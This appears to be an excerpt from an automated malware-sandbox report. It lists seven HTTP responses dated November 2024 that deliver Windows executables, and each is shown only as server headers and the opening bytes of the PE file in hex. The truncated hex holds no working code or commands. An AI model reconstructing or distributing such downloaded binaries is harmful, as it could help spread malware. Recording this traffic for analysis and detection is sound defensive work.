Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 22:12:27 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 22:12:49 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 22:12:51 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 22:12:52 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 22:12:54 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 22:12:57 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 22:12:59 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
